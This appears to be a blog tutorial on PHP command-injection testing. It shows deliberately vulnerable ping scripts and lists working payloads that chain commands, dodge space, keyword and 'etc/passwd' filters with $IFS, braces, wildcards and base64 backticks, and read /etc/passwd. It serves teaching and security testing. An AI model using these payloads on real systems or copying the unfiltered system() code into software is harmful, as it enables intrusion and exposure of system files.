Web Security: Command Execution Vulnerability Test (Prevent hackers from exploiting this vulnerability.)

Web Security: Command Execution Vulnerability Testing

The execution of system commands is generally performed  in web applications, and it may sometimes be necessary to call some system commands to execute, but the program did not strictly filter the input during development, causing malicious users to construct some malicious system commands to achieve system commands. Execute the attack.


Table of contents:

Web Security: Command Execution Vulnerability Testing

Functions executed by system commands:

Command to execute the vulnerability test:

(1) Command execution vulnerability test.

(2) Command execution vulnerability space bypass.

(3) Command execution vulnerability key command bypass.

(4) Command execution vulnerability wildcard bypass.

(5) Command execution vulnerability base64 encoding bypass.


Functions executed by system commands:

system(),passthru(),exec(),shell_exec() ......

Command to execute the vulnerability test:

(1) Command execution vulnerability test.

代码审计:

<?php
	if(isset($_GET['ip'])){

    $ip = $_GET['ip'];

    system("ping -c 2 ".$ip);
	}else{
		exit();
	}
?>
参数 ip 的内容执行 ping 操作,没有做任何过滤操作,所以存在命令执行的漏洞,只需要在 ip 地址后
添加连接符,然后再添加其他命令即可测试.
测试代码:

?ip=127.0.0.1|dir

?ip=127.0.0.1;dir


(2) Command execution vulnerability space bypass.

代码审计:

<?php
	if(isset($_GET['ip'])){

		if (preg_match('/ /', $_GET['ip'])) {            // '/ /' 可以查看他过滤了空格.
                die('error!!!');
		}
		else{
			$ip = $_GET['ip'];
		}
    system("ping -c 2 ".$ip);
	}else{
		exit();
	}
?>
绕过 空格  限制的方法:

(1) 制表符绕过 %09 (%09是制表符的URL编码,通过 %09 来代替空格,然后绕过空格过滤)

?ip=127.0.0.1;cat /etc/(要打开的文件) 替换为 ?ip=127.0.0.1;cat%09/etc/(要打开的文件)


(2) 空格 过滤 可以使用 {} 绕过.

?ip=127.0.0.1;cat /etc/要打开的文件 更换为 ?ip=127.0.0.1;{cat,/etc/要打开的文件}

(3) 空格 过滤 可以使用 < 绕过.

?ip=127.0.0.1;cat /etc/要打开的文件 替换为 ?ip=127.0.0.1;cat</etc/要打开的文件

(4) 空格 过滤 可以使用 $IFS$9 绕过.

?ip=127.0.0.1;cat /etc/要打开的文件 替换为 ?ip=127.0.0.1;cat$IFS$9/etc/要打开的文件

(5) 空格 过滤 可以使用 ${IFS} 绕过.

?ip=127.0.0.1;cat /etc/要打开的文件 替换为 ?ip=127.0.0.1;cat${IFS}/etc/要打开的文件


(3) Command execution vulnerability key command bypass.

代码审计:

<?php
	if(isset($_GET['ip'])){

		if (preg_match('/cat/', $_GET['ip'])) {   // cat可以查看他过滤了cat
                die('error!!!');
		}
		else{
			$ip = $_GET['ip'];
		}
    system("ping -c 2 ".$ip);
	}else{
		exit();
	}
?>
绕过 cat 限制的方法:

(1) 拼接 绕过.

使用 a=ca;b=t;$a$b /etc/要打开的文件 绕过

?ip=127.0.0.1;a=ca;b=t;$a$b /etc/要打开的文件            // 测试代码.

(2) 命令替换 绕过.

sh%20/etc/passwd%202%3E%261    //可以报错出文件内容.(%20 是空格)

more%20/etc/passwd               //一页一页的显示内容.(%20 是空格)

less%20/etc/passwd               //一页一页的显示内容.(%20 是空格)

tail%20/etc/passwd               //查看尾几行.(%20 是空格)

uniq%20/etc/passwd               //查看内容(%20 是空格)


(4) Command execution vulnerability wildcard bypass.

代码审计:

<?php
	if(isset($_GET['ip'])){

		if (preg_match('/etc|passwd/', $_GET['ip'])) {    // etc|passwd 可以查看他过滤了etc|passwd
                die('error!!!');
		}
		else{
			$ip = $_GET['ip'];
		}
    system("ping -c 2 ".$ip);
	}else{
		exit();
	}
?>
使用通配符方法进行绕过渗透,? 字符代表单个字符。注意,?不能匹配空字符。

测试代码:(用 ? 来代替 一些单个字符)

用 ip=127.0.0.1;cat /etc/passwd 替换 ?ip=127.0.0.1;cat%20/et?/pass?? 

用 ip=127.0.0.1;cat /etc/passwd 替换 ?ip=127.0.0.1;cat%20/?t?/??ss??


(5) Command execution vulnerability base64 encoding bypass.

代码审计:

<?php
	if(isset($_GET['ip'])){

		if (preg_match('/id/', $_GET['ip'])) {        // id 可以查看他过滤了 id
                die('error!!!');
		}
		else{
			$ip = $_GET['ip'];
		}
    system("ping -c 2 ".$ip);
	}else{
		exit();
	}
?>
使用 base64 编码绕过:

echo aWQ= | base64 -d             //使用时把空格换为%20

aWQ=  是 id 的base64编码
-d  是解码aWQ=的.

测试代码:

?ip=127.0.0.1;`echo%20aWQK|base64%20-d`

加了反引号`则会执行输出的内容,即执行命令id

     

    

     

Guess you like

Origin blog.csdn.net/weixin_54977781/article/details/130885543